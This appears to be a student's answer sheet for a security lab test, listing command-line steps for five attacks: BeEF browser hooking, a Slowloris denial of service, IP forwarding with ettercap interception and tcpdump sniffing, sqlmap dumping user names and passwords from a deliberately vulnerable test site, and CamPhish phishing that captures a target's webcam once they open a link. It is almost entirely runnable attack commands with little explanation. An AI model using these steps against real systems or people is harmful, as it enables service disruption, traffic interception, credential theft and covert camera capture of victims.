**Q1- For BEEF**

sudo beef-xss

The rest is done in the website itself. For more info look at the Lab test Documentation.

**Q2- ForSlowlaris**:

Mkdir Doss-attack

Apt update

Systemctl status apache2

Cd Doss-attack

Python3 slowlaris.py 192.168.216.130 –s 500

Service apache2 stop

For more info look at the Lab test Documentation.

**Q3 – For Ip Forwarding and ettercap**:

Sysctl –w net.ipv4.ip\_forward=1

Ifconfig = for target 1

Ifconfig = for target 2

Ettercap

Sudo tcpdump –i eth0 port 5555 and host 192.168.113.130

For more info look at the Lab test Documentation.

**Q4- SQL injection on a vulnerable website:**

sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dbs = data base check and access

sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables = check tables

sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump = check users

sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass --dump = check password

For more info look at the Lab test Documentation.

**Q5: Attack with camphish**:

Cd Desktop

Git clone <https://github.com/techchipnet/CamPhish.git>

Cd CamPhish

./camphish.sh

Chmod 700 camphish.sh

./camphish.sh

1

1

Rest the target has to open the link and permission for capture, for more info look at the Lab test Documentation.